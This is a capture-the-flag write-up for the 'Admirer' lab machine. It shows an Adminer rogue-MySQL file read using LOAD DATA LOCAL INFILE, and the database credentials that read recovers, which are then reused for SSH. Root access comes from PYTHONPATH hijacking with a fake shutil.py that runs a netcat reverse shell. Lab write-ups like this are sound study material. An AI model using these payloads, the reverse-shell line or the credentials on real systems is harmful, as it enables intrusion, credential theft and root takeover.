  • Adminer is a Database management tool for MYSQL
  • version 4.6.2 and above <4.7.0 have Serious Vulnerability, foregenix.com blog
  • Vulnerability first discovered by security researchers Yashar Shahinzadeh, yashar medium blog
  • How this Vulnerability works

    • First, the attacker will access the victim’s Adminer instance, but instead of trying to connect to thevictim’s MySQL database, they connect “back” to their own MySQL database hosted on their own server.

    • Second, using the victim’s Adminer (connected to their own database) – they use the MySQL command specifying a local file on the victim’s server. This command is used to load data from a file local to the Adminer instance, into a database. *sql command for loading file from Adminer instance

      LOAD DATA LOCAL INFILE '/etc/passwd' 
INTO TABLE test
FIELDS TERMINATED BY "\n"

User Exploiting

sql

  • First, setup mysql server in my local machine

    $ sudo service mysql start	//start mysql service
$ sudo mysql -u root	//login as root user in our sql server
> create database ladmirer;	//create database
> show databases;
//setup user 
> create user 'luser'@'%' IDENTIFIED BY 'lpass';
> GRANT ALL PRIVILEGES ON * . * TO 'username'@'%';
> FLUSH PRIVILEGES;
> create table test (data VARCHAR(225)); //create test data in the created database

  • Second , bind server to tun0 address by editing cnf file

    nano /etc/mysql/mariadb.conf.d/50-server.cnf
  bind-address  = 0.0.0.0		//change bind address to tun0 or 0.0.0.0

  • Third, restart mysql service

    $ sudo service mysql restart
$ mysql -h localhost -u luser -p 	//testing created user
  > lpass		//password

  • Fourth, login to adminer and connect back to my local sql server

    System = MySQL
Server = tun0
Username = luser
Password = lpass
Database = ladmirer

  • Fifth, dump remote server database by running this command from SQL Command terminal in adminer

    load data local infile '/var/www/html/index.php'
into table test
fields terminated by "/n"

try to read /etc/passwd got an error

reading /var/www/html/index.php dump 123 rows*

  • Sixth, read dumped adminer.php file in SQL command terminal in adminer

    SELECT * from ladmirer.test;

    interesting data inside dump

    $servername = \"localhost\";
$username = \"waldo\";
$password = \"&<h5b~yK3F#{PaPB&dA}{H>\";
$dbname = \"admirerdb\";

  • login into ssh with found creds waldo:&<h5b~yK3F#{PaPB&dA}{H>

Local Enumeration

  • check sudo rights for user waldo

    waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

    what i have here

    • i can set environment variables for /opt/scripts/admin_tasks.sh
    • i can run /opt/scripts/admin_tasks.sh as root

  • review /opt/scripts/

    waldo@admirer:/opt/scripts$ ls -la
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 admin_tasks.sh
-rwxr----- 1 root admins  198 Dec  2  2019 backup.py

    • in admin_tasks.sh

      backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
    echo "Running backup script in the background, it might take a while..."
    /opt/scripts/backup.py &
    else
    echo "Insufficient privileges to perform the selected operation."
    fi
}

    • and in backup.py

      from shutil import make_archive

    These looks suspicious

    • script itself not vulnerable
    • script admin_tasks.sh calling backup.py in 6th backup_web() option.
    • script backup.py importing shutil library

Exploit surface

  • user waldo can set environment variables for the script, sudo man
  • this means we can set python path for /opt/scripts
  • here i can use python hijacking to exploit root, rastating article

Root Privesc

  • Frist, create dummy shutil.py file with reverse shell in it.

    import os
def make_archive(x, y, z):
    os.system("nc tun0 4141 -e '/bin/bash'")

  • Second, start netcat listener

  • Third, run admin_tasks.sh script,

    waldo@admirer:~$ sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh 6
    • use option 6 to execute backup.py script
    • using PYTHONPATH to set python path for backup.py to import shutil.py from my path.
